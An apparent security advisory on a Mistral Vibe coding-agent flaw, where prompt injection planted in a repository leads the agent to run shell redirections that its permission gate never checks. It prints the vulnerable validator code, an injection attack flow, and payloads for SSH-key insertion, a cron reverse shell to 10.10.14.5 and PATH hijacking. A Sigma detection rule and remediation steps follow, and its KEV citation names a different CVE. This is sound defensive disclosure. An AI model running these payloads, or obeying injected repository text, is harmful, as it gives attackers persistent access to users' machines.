CVE-2026-87984: Mistral Vibe Arbitrary File Write via Shell Redirection Target Omission
HERMES THREAT SCORE & HOST TAMPERING EXPLOITATION
Target:Mistral Vibe Coding Agent (mistral-vibe) CVSS v4.0 evaluates CVE-2026-87984 at 9.3 (Critical, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H). The Hermes Threat Score assesses this vulnerability at 94 (CRITICAL). This reflects the high weaponization potential of silent arbitrary file writes, permitting attackers to inject authorized SSH keys, cron tasks, or shell profiles without operator approval.
CVE-2026-87984: Mistral Vibe Arbitrary File Write via Shell Redirection Target OmissionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.
π Why is this related? (Evidence & Provenance)
“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-002.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
π Why is this related? (Evidence & Provenance)
“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
1. Technical Context & Affected Software Matrix
Section titled β1. Technical Context & Affected Software Matrixβ| Parameter | Technical Specification | Threat Intelligence Context |
|---|---|---|
| CVE Identifier | CVE-2026-87984 | Discovered by Esteban Tonglet (HiddenLayer) |
| Common Weakness Enumeration | CWE-22 (Path Traversal), CWE-732 (Incorrect Permission Assignment) | Failure to inspect shell redirection AST nodes |
| Attack Vector | Indirect Prompt Injection (AAP-002) / AAP-003 | Malicious PR, issue description, or source code comments |
| Vulnerable Component | AST validator in Mistral Vibe (vibe command evaluator) | Evaluates commands while omitting redirection target nodes |
| Affected Versions | mistral-vibe < 1.1.0 | Systems operating with default auto-approval enabled |
| Remediated Version | vibe >= 1.1.0 | Comprehensive AST visitor inspecting all redirection targets |
| Systemic Impact | Arbitrary file overwrite, persistent backdoor installation, SSH hijacking | Direct path to persistent host compromise |
2. In-Depth Technical Decomposition & Root Cause
Section titled β2. In-Depth Technical Decomposition & Root CauseβA. The Separation of Command Arguments and Redirection AST Nodes
Section titled βA. The Separation of Command Arguments and Redirection AST NodesβIn Bash syntax, output redirections (>, >>, 1>, 2>, &>) redirect file descriptors to target paths. The tree-sitter-bash parser models this by wrapping the statement in a redirected_statement node or by appending a file_redirect child node to the command:
redirected_statement βββ body: command β βββ name: command_name -> "echo" β βββ argument: word -> '"ssh-ed25519 AAAA..."' βββ redirect: file_redirect βββ operator: ">>" βββ destination: word -> "/home/user/.ssh/authorized_keys"B. The Validator Omission Flaw
Section titled βB. The Validator Omission FlawβThe validation loop in Mistral Vibe iterated over command.children and filtered for command_argument nodes. The redirection node (file_redirect) was treated as syntax metadata rather than an operational parameter:
# Vulnerable validation loop in Mistral Vibe (pre-1.1.0)def validate_command_safety(parsed_ast_node, allowed_commands, workspace_root): cmd_name = extract_command_name(parsed_ast_node) if cmd_name not in allowed_commands: return False # Requires explicit prompt
# FLAW: Only checking positional argument tokens! for arg in extract_positional_arguments(parsed_ast_node): if not is_safe_workspace_path(arg, workspace_root): return False
# Redirection targets (file_redirect) are NEVER verified! return True # Auto-approved!Because echo was in the allowed commands list and "ssh-ed25519..." contains no forbidden path traversal strings, validate_command_safety returned True. When executed, the host Bash shell created or appended to /home/user/.ssh/authorized_keys.
3. Attack Flow & Weaponization Scenarios
Section titled β3. Attack Flow & Weaponization ScenariosβsequenceDiagram autonumber actor Attacker as Remote Adversary participant Repo as Cloned Git Repository participant LLM as Vibe LLM Engine participant Gate as AST Permission Gate participant OS as Host Operating System
Attacker->>Repo: Plants indirect prompt injection in codebase (AAP-002) Repo->>LLM: Developer instructs: "vibe 'setup dev environment'" LLM->>LLM: Ingests injection instructions LLM->>Gate: Issues command: echo "attacker_key" >> ~/.ssh/authorized_keys Gate->>Gate: Checks command 'echo' -> ALLOWED Gate->>Gate: Checks arguments -> SAFE (ignores '>> ~/.ssh/authorized_keys') Gate->>OS: Subshell executes redirection without user confirmation! OS-->>Attacker: Attacker connects via SSH with root/user privilegesWeaponization Payloads
Section titled βWeaponization Payloadsβ- SSH Key Insertion (Zero-Interaction Remote Access):
Terminal window echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@c2" >> ~/.ssh/authorized_keys - Cron Persistence:
Terminal window echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" > /etc/cron.d/sync_service - Shell Environment Hijacking:
Terminal window echo "export PATH=/tmp/evil_bin:\$PATH" >> ~/.bashrc
All of these commands bypass the confirmation dialog entirely because the destination file path resides in a redirection node rather than a standard argument.
4. Detection, Threat Hunting & DFIR Playbooks
Section titled β4. Detection, Threat Hunting & DFIR PlaybooksβA. Sigma Detection Rule
Section titled βA. Sigma Detection Ruleβtitle: Mistral Vibe Output Redirection Outside Workspaceid: 87984001-vibe-redirection-bypassstatus: experimentaldescription: Detects file redirection operators targeting sensitive system locations executed from a Mistral Vibe parent process.references: - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/author: Hermes Codex Cyber Defense Teamlogsource: category: process_creation product: linuxdetection: selection_parent: CommandLine|contains: 'vibe' selection_redirection: CommandLine|re: '(>|>>)\s*(~|\/etc|\/root|\/home|\/var|\/usr)' condition: selection_parent and selection_redirectionfalsepositives: - Legitimate build tools writing to workspace-local redirect files.level: high5. Defense, Hardening & Remediation
Section titled β5. Defense, Hardening & Remediationβ- Apply Official Patch: Upgrade immediately to
vibe >= 1.1.0. The patched AST visitor recursively inspects allfile_redirectandredirected_statementnodes. - Strict Filesystem Sandboxing: Run Vibe in read-only container root mounts with only the specific project directory mounted read-write.
- Audit Shell History & SSH Keys: Verify integrity of
~/.ssh/authorized_keys,/etc/cron.*, and shell startup profiles (~/.bashrc,~/.zshrc) on machines where Vibe was executed. - Agent Parameter Validation: Enforce policy checks from AgentThreat Studio covering AAP-003: Tool Parameter Tampering.
6. Related Vulnerabilities & Cross-References
Section titled β6. Related Vulnerabilities & Cross-Referencesβ- CVE-2026-87983: Arbitrary File Read via Quoted Absolute Paths
- CVE-2026-87985: Remote Code Execution via ANSI-C Quoting in
find -exec - CVE-2026-87986: Command Injection via Parser Syntax Error Node Bypass
- CVE-2026-87987: RCE via Environment Variable Assignment Stripping
- CVE-2026-87988: Arbitrary Read/Write via Auto-Approved Command Discrepancies
- AAP-002: Indirect Context Injection
- AAP-003: Tool Parameter Tampering